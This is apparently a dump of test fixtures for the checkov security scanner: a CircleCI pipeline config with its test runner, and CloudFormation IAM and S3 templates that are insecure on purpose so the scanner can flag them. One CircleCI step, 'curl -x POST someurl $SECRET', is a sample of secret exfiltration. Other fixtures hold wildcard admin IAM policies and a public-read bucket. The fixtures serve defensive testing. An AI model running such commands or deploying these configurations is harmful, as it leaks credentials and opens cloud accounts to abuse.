\"checkout\",\n                    {\n                      \"run\": {\n                        \"command\": \"curl -x POST someurl $SECRET\\n\",\n                        \"name\": \"Multi-line export secret\",\n                        \"__startline__\": 79,\n                        \"__endline__\": 82\n                      },\n                      \"__startline__\": 78,\n                      \"__endline__\": 82\n                    }\n                  ],\n                  \"__startline__\": 73,\n                  \"__endline__\": 82\n                },\n                \"test-inject-ci-vars\": {\n                  \"docker\": [\n                    {\n                      \"image\": \"cimg/python:latest\",\n                      \"__startline__\": 85,\n                      \"__endline__\": 86\n                    }\n                  ],\n                  \"steps\": [\n                    \"checkout\",\n                    {\n                      \"run\": {\n                        \"command\": \"echo ${CIRCLE_PR_REPONAME}\\n\",\n                        \"name\": \"Echo the PR Reponame\",\n                        \"__startline__\": 90,\n                        \"__endline__\": 94\n                      },\n                      \"__startline__\": 89,\n                      \"__endline__\": 94\n                    }\n                  ],\n                  \"__startline__\": 83,\n                  \"__endline__\": 94\n                },\n                \"__startline__\": 12,\n                \"__endline__\": 94\n              },\n              \"version\": 2.1,\n              \"workflows\": {\n                \"say-hello-workflow\": {\n                  \"jobs\": [\n                    \"test-docker-hash-img\",\n                    \"test-docker-latest-img\",\n                    \"test-docker-versioned-img\",\n                    \"test-echo\",\n                    \"test-inject\",\n                    \"test-inject2\",\n                    \"test-inject-ci-vars\"\n                  ],\n                  \"__startline__\": 97,\n                  \"__endline__\": 105\n                },\n                \"__startline__\": 96,\n                \"__endline__\": 105\n              },\n              \"__startline__\": 2,\n              \"__endline__\": 105\n            }\n          }"
  },
  {
    "path": "tests/circleci_pipelines/resources/.circleci/config.yml",
    "content": "---\norbs:\n  new-orb: \"whatever/orbname@goodorb\"\n  some-orb: \"orbs/orbname@dev:blah\"\n\nexecutors:\n  image-executor:\n    docker:\n      - \"image\": \"mongo:2.6.8\"\n\njobs:\n  test-job-single-line: say-hello-workflow/script\n  test-job-list-line:\n    - checkout\n  test-docker-hash-img:\n    docker:\n      -\n        image: \"redis@sha256:54057dd7e125ca41afe526a877e8bd35ec2cdd33b9217e022ed37bdcf7d09673\"\n      -\n        auth:\n          password: $DOCKERHUB_PASSWORD\n          username: mydockerhub-user\n  test-docker-latest-img:\n    docker:\n      -\n        image: \"buildpack-deps:latest\"\n      -\n        auth:\n          password: $DOCKERHUB_PASSWORD\n          username: mydockerhub-user\n        command:\n          - \"--smallfiles\"\n  test-docker-versioned-img:\n    docker:\n      -\n        image: \"mongo:2.6.8\"\n      -\n        auth:\n          password: $DOCKERHUB_PASSWORD\n          username: mydockerhub-user\n        environment:\n          POSTGRES_USER: user\n        image: \"postgres:14.2\"\n  test-echo:\n    docker:\n      -\n        image: \"cimg/python:latest\"\n    steps:\n      - checkout\n      -\n        run: \"echo \\\"this is an echo in a script.\\\"\"\n  test-inject:\n    docker:\n      -\n        image: \"cimg/python:latest\"\n    steps:\n      - checkout\n      - run:\n          command: |\n              curl -sSJL https://www.mongodb.org/static/pgp/server-4.2.asc | sudo apt-key add -\n              echo ${CIRCLE_BRANCH}\n          name: \"Multi-line run with injection via vars\"\n  test-inject2:\n    docker:\n      -\n        image: \"cimg/python:latest\"\n    steps:\n      - checkout\n      -\n        run:\n          command: |\n              curl -sSJL https://www.mongodb.org/static/pgp/server-4.2.asc | sudo apt-key add -\n              echo $CIRCLE_BRANCH\n          name: \"Multi-line run with injection via vars\"\n  test-curl-secret:\n    docker:\n      -\n        image: \"cimg/python:latest\"\n    steps:\n      - checkout\n      - run:\n          command: |\n              curl -x POST someurl $SECRET\n          name: \"Multi-line export secret\"\n  test-inject-ci-vars:\n    docker:\n      -\n        image: \"cimg/python:latest\"\n    steps:\n      - checkout\n      -\n        run:\n          command: |\n              echo ${CIRCLE_PR_REPONAME}\n          name: \"Echo the PR Reponame\"\n\nversion: 2.1\nworkflows:\n  say-hello-workflow:\n    jobs:\n      - test-docker-hash-img\n      - test-docker-latest-img\n      - test-docker-versioned-img\n      - test-echo\n      - test-inject\n      - test-inject2\n      - test-inject-ci-vars\n"
  },
  {
    "path": "tests/circleci_pipelines/test_runner.py",
    "content": "import os\nimport unittest\nimport pytest\n\nfrom checkov.circleci_pipelines.runner import Runner\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.circleci_pipelines.registry import registry\n\n\nclass TestRunnerValid(unittest.TestCase):\n\n    def test_registry_has_type(self):\n        self.assertEqual(registry.report_type, CheckType.CIRCLECI_PIPELINES)\n\n    def test_runner(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\")\n        runner = Runner()\n        checks = []\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=RunnerFilter(framework=['circleci_pipelines'], checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 13)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 32)\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_runner_honors_enforcement_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\")\n        runner = Runner()\n        filter = RunnerFilter(framework=['circleci_pipelines'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.CIRCLECI_PIPELINES: Severities[BcSeverities.OFF]}\n        report = runner.run(\n            root_folder=valid_dir_path,\n            runner_filter=filter\n        )\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        report.print_console()\n\n@pytest.mark.parametrize(\n    \"key, expected_key, supported_entities, start_line, end_line\",\n    [\n        (\n            'orbs.{orbs: @}.orbs.CKV_CIRCLECIPIPELINES_4[3:6]',\n            \"orbs\",\n            ('orbs.{orbs: @}',),\n            3, 6\n        ),\n        (\n            'jobs.*.steps[].jobs.*.steps[].CKV_CIRCLECIPIPELINES_7[48:49]',\n            \"jobs(test-echo).steps[1](checkout)\",\n            ('jobs.*.steps[]',),\n            48, 49\n        ),\n        (\n            'jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}.jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}.CKV_CIRCLECIPIPELINES_2[33:34]',\n            'jobs(test-docker-versioned-img).docker.image[1](mongo:2.6.8)',\n            ('jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}', ),\n            33, 34\n        )\n    ]\n)\ndef test_get_resource(file_path, key, supported_entities, expected_key, start_line, end_line, definition):\n    runner = Runner()\n    runner.definitions = definition\n\n    new_key = runner.get_resource(file_path, key, supported_entities, start_line, end_line)\n\n    assert new_key == expected_key\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/cloudformation/__init__.py",
    "content": ""
  },
  {
    "path": "tests/cloudformation/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/cloudformation/checks/example_WildcardEntities/main.yaml",
    "content": "Description: >\n  This template deploys an Application Load Balancer with HTTPS listener only\nParameters:\n  VPC:\n    Type: AWS::EC2::VPC::Id\n    Description: Choose which VPC the Application Load Balancer should be deployed to\n\n  Subnets:\n    Description: Choose a minimum of 2 subnets the ALB should be deployed to\n    Type: List<AWS::EC2::Subnet::Id>\n\n  SecurityGroup:\n    Description: Security Group for ALB\n    Type: AWS::EC2::SecurityGroup::Id\n    Default: sg-0123456789abcdefc\n\nResources:\n  #ALBSecurityGroup:\n  #  Type: 'AWS::EC2::SecurityGroup'\n  #  Properties:\n  #    GroupDescription: 'checkov-alb-test'\n  #    VpcId: !Ref VPC\n  #    SecurityGroupIngress:\n  #    - Description: 'HTTP Ingress'\n  #      IpProtocol: tcp\n  #      FromPort: 80\n  #      ToPort: 80\n  #      CidrIp: 0.0.0.0/0\n  #    - Description: 'HTTPS Ingress'\n  #      IpProtocol: tcp\n  #      FromPort: 443\n  #      ToPort: 443\n  #      CidrIp: 0.0.0.0/0\n\n  LoadBalancer:\n    Type: AWS::ElasticLoadBalancingV2::LoadBalancer\n    Properties:\n      Name: CheckovTest\n      Subnets: !Ref Subnets\n      SecurityGroups:\n        - !Ref SecurityGroup\n        #- !Ref ALBSecurityGroup\n\n  ListenerHTTPS:\n    Type: AWS::ElasticLoadBalancingV2::Listener\n    Properties:\n      Certificates:\n        - CertificateArn: !Ref Certificate\n      LoadBalancerArn: !Ref LoadBalancer\n      Port: 443\n      Protocol: HTTPS\n      DefaultActions:\n        - Type: forward\n          TargetGroupArn: !Ref DefaultTargetGroup\n\n  ### NOTE - Stack will remain in CREATE_IN_PROGRESS until you validate the certificate!\n  Certificate:\n    Type: AWS::CertificateManager::Certificate\n    Properties:\n      DomainName: example.com\n      DomainValidationOptions:\n        - DomainName: example.com\n          ValidationDomain: example.com\n\n  ListenerCert:\n    Type: AWS::ElasticLoadBalancingV2::ListenerCertificate\n    Properties:\n      Certificates:\n        - CertificateArn: !Ref Certificate\n      ListenerArn: !Ref ListenerHTTPS\n\n  # We define a default target group here, as this is a mandatory Parameters\n  # when creating an Application Load Balancer Listener. This is not used, instead\n  # a target group is created per-service in each service template (../services/*)\n  DefaultTargetGroup:\n    Type: AWS::ElasticLoadBalancingV2::TargetGroup\n    Properties:\n      Name: checkov-default\n      VpcId: !Ref VPC\n      Port: 80\n      Protocol: HTTP\n\nOutputs:\n  LoadBalancer:\n    Description: A reference to the Application Load Balancer\n    Value: !Ref LoadBalancer\n\n  LoadBalancerUrl:\n    Description: The URL of the ALB\n    Value: !GetAtt LoadBalancer.DNSName\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/__init__.py",
    "content": ""
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMCredentialsExposure/FAILED.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: IAM policy\nResources:\n  IAMUpdateAccessKeyPolicy:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: IAMUpdateAccessKeyPolicy\n      PolicyDocument:\n        Statement:\n          - Effect: Allow\n            Action:\n            - 'iam:UpdateAccessKey'\n            - 'iam:UntagRole'\n            - 'iam:CreateAccessKey'\n            - 'iam:TagPolicy'\n            Resource: '*'\n      Roles:\n        - example_role\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMCredentialsExposure/PASSED.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: IAM policy\nResources:\n  ECRGetAuthTokenPolicy:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: ECRGetAuthTokenPolicy\n      PolicyDocument:\n        Statement:\n          - Action: 'ecr:GetAuthorizationToken'\n            Effect: Allow\n            Resource: '*'\n      Roles:\n        - example_role\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMGroup/FAILED.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: IAM Group with multiple policies\nResources:\n  PolicyOnePassPolicyTwoFailAdmin:\n    Type: 'AWS::IAM::Group'\n    Properties:\n      Policies:\n      - PolicyName: a\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 's3:Get*'\n              Resource: \n              - 'foo'\n      - PolicyName: b\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: '*'\n              Resource: '*'    \n  PolicyOneFailPolicyTwoFailPermissionsWildcard:\n    Type: 'AWS::IAM::Group'\n    Properties:\n      Policies:\n      - PolicyName: a\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 'iam:ChangePassword'\n              Resource: '*'\n      - PolicyName: b\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 's3:PutBucketAcl'\n              Resource: '*'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMGroup/PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: IAM Groups with multiple policies\nResources:\n  NotPermissionsScopedAndWildcard:\n    Type: 'AWS::IAM::Group'\n    Properties:\n      Policies:\n      - PolicyName: a\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 's3:Get*'\n              Resource: \n              - 'foo'\n      - PolicyName: b\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 's3:Get*'\n              Resource: \n              - '*'        \n  AdminDenyAndPermissionsScoped:\n    Type: 'AWS::IAM::Group'\n    Properties:\n      Policies:\n      - PolicyName: a\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Deny\n              Action: '*'\n              Resource: '*'\n      - PolicyName: b\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 'iam:ChangePassword'\n              Resource: \n              - 'foo'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMPermissionsManagement/FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: IAM policy\nResources:\n  AdminAllow:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: '*'\n            Resource: '*'\n      Roles:\n        - example_role\n      Users:\n        - admin\n  PermissionsWildcard0:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: \n            - 'iam:ChangePassword'\n            Resource: '*'\n      Roles:\n        - example_role\n      Users:\n        - admin\n  PermissionsWildcard1:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: \n            - 's3:PutBucketAcl'\n            Resource: '*'\n      Roles:\n        - example_role\n      Users:\n        - admin\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMPermissionsManagement/PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: IAM policy\nResources:\n  NotPermissionsScoped:\n    Type: 'AWS::IAM::Policy'\n    Metadata:\n      cfn-lint:\n        config:\n          ignore_checks:\n            - E3510\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: \n            - 's3:Get*'\n            Resource: \n            - 'foobar'\n      Roles:\n        - example_role\n  NotPermissionsWildcard:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: \n            - 's3:Get*'\n            Resource: \n            - '*'\n      Roles:\n        - example_role\n  AdminDeny:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Deny\n            Action: '*'\n            Resource: '*'\n      Roles:\n        - example_role\n  PermissionsScoped:\n    Type: 'AWS::IAM::Policy'\n    Metadata:\n      cfn-lint:\n        config:\n          ignore_checks:\n            - E3510\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: \n            - 'iam:ChangePassword'\n            Resource: \n            - 'foo'\n      Roles:\n        - example_role\n      Users:\n        - admin\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMRole/FAILED.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: IAM Roles with multiple policies\nResources:\n  PolicyOnePassPolicyTwoFailAdmin:\n    Type: 'AWS::IAM::Role'\n    Properties:\n      AssumeRolePolicyDocument:\n        Version: \"2012-10-17\"\n        Statement:\n          - Effect: Allow\n            Principal:\n              Service:\n                - ec2.amazonaws.com\n            Action:\n              - 'sts:AssumeRole'\n      Policies:\n      - PolicyName: a\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 's3:Get*'\n              Resource: \n              - 'foo'\n      - PolicyName: b\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: '*'\n              Resource: '*'    \n  PolicyOneFailPolicyTwoFailPermissionsWildcard:\n    Type: 'AWS::IAM::Role'\n    Properties:\n      AssumeRolePolicyDocument:\n        Version: \"2012-10-17\"\n        Statement:\n          - Effect: Allow\n            Principal:\n              Service:\n                - ec2.amazonaws.com\n            Action:\n              - 'sts:AssumeRole'\n      Policies:\n      - PolicyName: a\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 'iam:ChangePassword'\n              Resource: '*'\n      - PolicyName: b\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 's3:PutBucketAcl'\n              Resource: '*'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMRole/PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: IAM Roles with multiple policies\nResources:\n  NotPermissionsScopedAndWildcard:\n    Type: 'AWS::IAM::Role'\n    Properties:\n      AssumeRolePolicyDocument:\n        Version: \"2012-10-17\"\n        Statement:\n          - Effect: Allow\n            Principal:\n              Service:\n                - ec2.amazonaws.com\n            Action:\n              - 'sts:AssumeRole'\n      Policies:\n      - PolicyName: a\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 's3:Get*'\n              Resource: \n              - 'foo'\n      - PolicyName: b\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 's3:Get*'\n              Resource: \n              - '*'        \n  AdminDenyAndPermissionsScoped:\n    Type: 'AWS::IAM::Role'\n    Properties:\n      AssumeRolePolicyDocument:\n        Version: \"2012-10-17\"\n        Statement:\n          - Effect: Allow\n            Principal:\n              Service:\n                - ec2.amazonaws.com\n            Action:\n              - 'sts:AssumeRole'\n      Policies:\n      - PolicyName: a\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Deny\n              Action: '*'\n              Resource: '*'\n      - PolicyName: b\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 'iam:ChangePassword'\n              Resource: \n              - 'foo'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMUser/FAILED.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: IAM Users with multiple policies\nResources:\n  PolicyOnePassPolicyTwoFailAdmin:\n    Type: 'AWS::IAM::User'\n    Properties:\n      Policies:\n      - PolicyName: a\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 's3:Get*'\n              Resource: \n              - 'foo'\n      - PolicyName: b\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: '*'\n              Resource: '*'    \n  PolicyOneFailPolicyTwoFailPermissionsWildcard:\n    Type: 'AWS::IAM::User'\n    Properties:\n      Policies:\n      - PolicyName: a\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 'iam:ChangePassword'\n              Resource: '*'\n      - PolicyName: b\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 's3:PutBucketAcl'\n              Resource: '*'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMUser/PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: IAM Users with multiple policies\nResources:\n  NotPermissionsScopedAndWildcard:\n    Type: 'AWS::IAM::User'\n    Properties:\n      Policies:\n      - PolicyName: a\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 's3:Get*'\n              Resource: \n              - 'foo'\n      - PolicyName: b\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 's3:Get*'\n              Resource: \n              - '*'        \n  AdminDenyAndPermissionsScoped:\n    Type: 'AWS::IAM::User'\n    Properties:\n      Policies:\n      - PolicyName: a\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Deny\n              Action: '*'\n              Resource: '*'\n      - PolicyName: b\n        PolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n            - Effect: Allow\n              Action: \n              - 'iam:ChangePassword'\n              Resource: \n              - 'foo'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMWriteAccess/FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: IAM policy\nResources:\n  AdminAllow:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: '*'\n            Resource: '*'\n      Roles:\n        - example_role\n      Users:\n        - admin\n  WriteWildcard0:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: \n            - 's3:PutObject'\n            Resource: '*'\n      Roles:\n        - example_role\n      Users:\n        - admin\n  WriteWildcard1:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: \n            - 's3:CreateBucket'\n            Resource: '*'\n      Roles:\n        - example_role\n      Users:\n        - admin\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMWriteAccess/PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: IAM policy\nResources:\n  NotWriteScoped:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: \n            - 's3:Get*'\n            Resource: \n            - 'foo'\n      Roles:\n        - example_role\n  NotWriteWildcard:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: \n            - 's3:Get*'\n            Resource: \n            - '*'\n      Roles:\n        - example_role\n  AdminDeny:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Deny\n            Action: '*'\n            Resource: '*'\n      Roles:\n        - example_role\n  WriteScoped:\n    Type: 'AWS::IAM::Policy'\n    Properties:\n      PolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: \n            - 's3:PutObject'\n            Resource: \n            - 'foo'\n      Roles:\n        - example_role\n      Users:\n        - admin\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/Cloudsplaining_ManagedPolicy/FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: IAM policy\nResources:\n  AdminAllow:\n    Type: 'AWS::IAM::ManagedPolicy'\n    Properties:\n      ManagedPolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: '*'\n            Resource: '*'\n      Roles:\n        - example_role\n      Users:\n        - admin\n  PermissionsWildcard0:\n    Type: 'AWS::IAM::ManagedPolicy'\n    Properties:\n      ManagedPolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: \n            - 'iam:ChangePassword'\n            Resource: '*'\n      Roles:\n        - example_role\n      Users:\n        - admin\n  PermissionsWildcard1:\n    Type: 'AWS::IAM::ManagedPolicy'\n    Properties:\n      ManagedPolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: \n            - 's3:PutBucketAcl'\n            Resource: '*'\n      Roles:\n        - example_role\n      Users:\n        - admin\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/Cloudsplaining_ManagedPolicy/PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: IAM policy\nResources:\n  NotPermissionsScoped:\n    Type: 'AWS::IAM::ManagedPolicy'\n    Metadata:\n      cfn-lint:\n        config:\n          ignore_checks:\n            - E3510\n    Properties:\n      ManagedPolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: \n            - 's3:Get*'\n            Resource: \n            - 'foo'\n      Roles:\n        - example_role\n  NotPermissionsWildcard:\n    Type: 'AWS::IAM::ManagedPolicy'\n    Properties:\n      ManagedPolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: \n            - 's3:Get*'\n            Resource: \n            - '*'\n      Roles:\n        - example_role\n  AdminDeny:\n    Type: 'AWS::IAM::ManagedPolicy'\n    Properties:\n      ManagedPolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Deny\n            Action: '*'\n            Resource: '*'\n      Roles:\n        - example_role\n  PermissionsScoped:\n    Type: 'AWS::IAM::ManagedPolicy'\n    Metadata:\n      cfn-lint:\n        config:\n          ignore_checks:\n            - E3510\n    Properties:\n      ManagedPolicyName: root\n      PolicyDocument:\n        Version: 2012-10-17\n        Statement:\n          - Effect: Allow\n            Action: \n            - 'iam:ChangePassword'\n            Resource: \n            - 'foo'\n      Roles:\n        - example_role\n      Users:\n        - admin\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/S3Templates/ExampleS3.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  S3BucketNoProps:\n    Type: AWS::S3::Bucket\n  S3BucketPublicRead:\n    Type: AWS::S3::Bucket\n    Metadata:\n      cfn-lint:\n        config:\n          ignore_checks:\n            - E3045\n    Properties:\n      AccessControl: PublicRead\n      BucketEncryption:\n        ServerSideEncryptionConfiguration:\n          - ServerSideEncryptionByDefault:\n              SSEAlgorithm: AES256\n  S3Bucket:\n    Type: AWS::S3::Bucket\n    Metadata:\n      cfn-lint:\n        config:\n          ignore_checks:\n            - E3045\n    Properties:\n      AccessControl: PublicRead\n      BucketEncryption:\n        ServerSideEncryptionConfiguration:\n          - ServerSideEncryptionByDefault:\n              KMSMasterKeyID: String\n              SSEAlgorithm: aws:kms\n      WebsiteConfiguration:\n        IndexDocument: index.html\n        ErrorDocument: error.html\n    DeletionPolicy: Retain\n  S3Bucket2:\n    Type: AWS::S3::Bucket\n    Metadata:\n      cfn-lint:\n        config:\n          ignore_checks:\n            - E3045\n    Properties:\n      AccessControl: PublicReadWrite\n      VersioningConfiguration:\n        Status: Enabled\n      BucketEncryption:\n        ServerSideEncryptionConfiguration:\n          - ServerSideEncryptionByDefault:\n              SSEAlgorithm: AES256\n      LoggingConfiguration:\n        DestinationBucketName: String\n        LogFilePrefix: String\n      WebsiteConfiguration:\n        IndexDocument: index.html\n        ErrorDocument: error.html\n    DeletionPolicy: Retain\n  S3Bucket3:\n    Type: AWS::S3::Bucket\n    Properties:\n      AccessControl: Private\n      VersioningConfiguration:\n        Status: Suspended\n      LoggingConfiguration:\n        DestinationBucketName: \"String\"\n        LogFilePrefix: \"String\"\n      WebsiteConfiguration:\n        IndexDocument: index.html\n        ErrorDocument: error.html\n    DeletionPolicy: Retain\n  S3Bucket4:\n    Type: 'AWS::S3::Bucket'\n    Properties:\n      BucketName: 'example'\n      PublicAccessBlockConfiguration:\n        BlockPublicAcls: true\n        BlockPublicPolicy: true\n        IgnorePublicAcls: true\n        RestrictPublicBuckets: false\n  BucketPolicy:\n    Type: AWS::S3::BucketPolicy\n    Properties:\n      PolicyDocument:\n        Id: MyPolicy\n        Version: 2012-10-17\n        Statement:\n          - Sid: PublicReadForGetBucketObjects\n            Effect: Allow\n            Principal: '*'\n            Action: 's3:GetObject'\n            Resource: !Join\n              - ''\n              - - 'arn:aws:s3:::'\n                - !Ref S3Bucket\n                - /*\n      Bucket: !Ref S3Bucket\nOutputs:\n  WebsiteURL:\n    Value: !GetAtt\n      - S3Bucket\n      - WebsiteURL\n    Description: URL for website hosted on S3\n  S3BucketSecureURL:\n    Value: !Join\n      - ''\n      - - 'https://'\n        - !GetAtt\n          - S3Bucket\n          - DomainName\n    Description: Name of S3 bucket to hold website content\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/__init__.py",
    "content": ""
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/cloudsplaining.md",
    "content": "# Cloudsplaining policy testing\n\nWe make use of the Cloudsplaining project to perform some IAM-related checks.\n\nThis folder is for test data to ensure we are making use of the Cloudsplaining policies as expected.\n\n## Cloudsplaining\nhttps://github.com/salesforce/cloudsplaining\n\n## Context Links\n* https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_understand-policy-summary-access-level-summaries.html\n* https://github.com/bridgecrewio/checkov/issues/1037\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ALBDropHttpHeaders/FAIL.yaml",
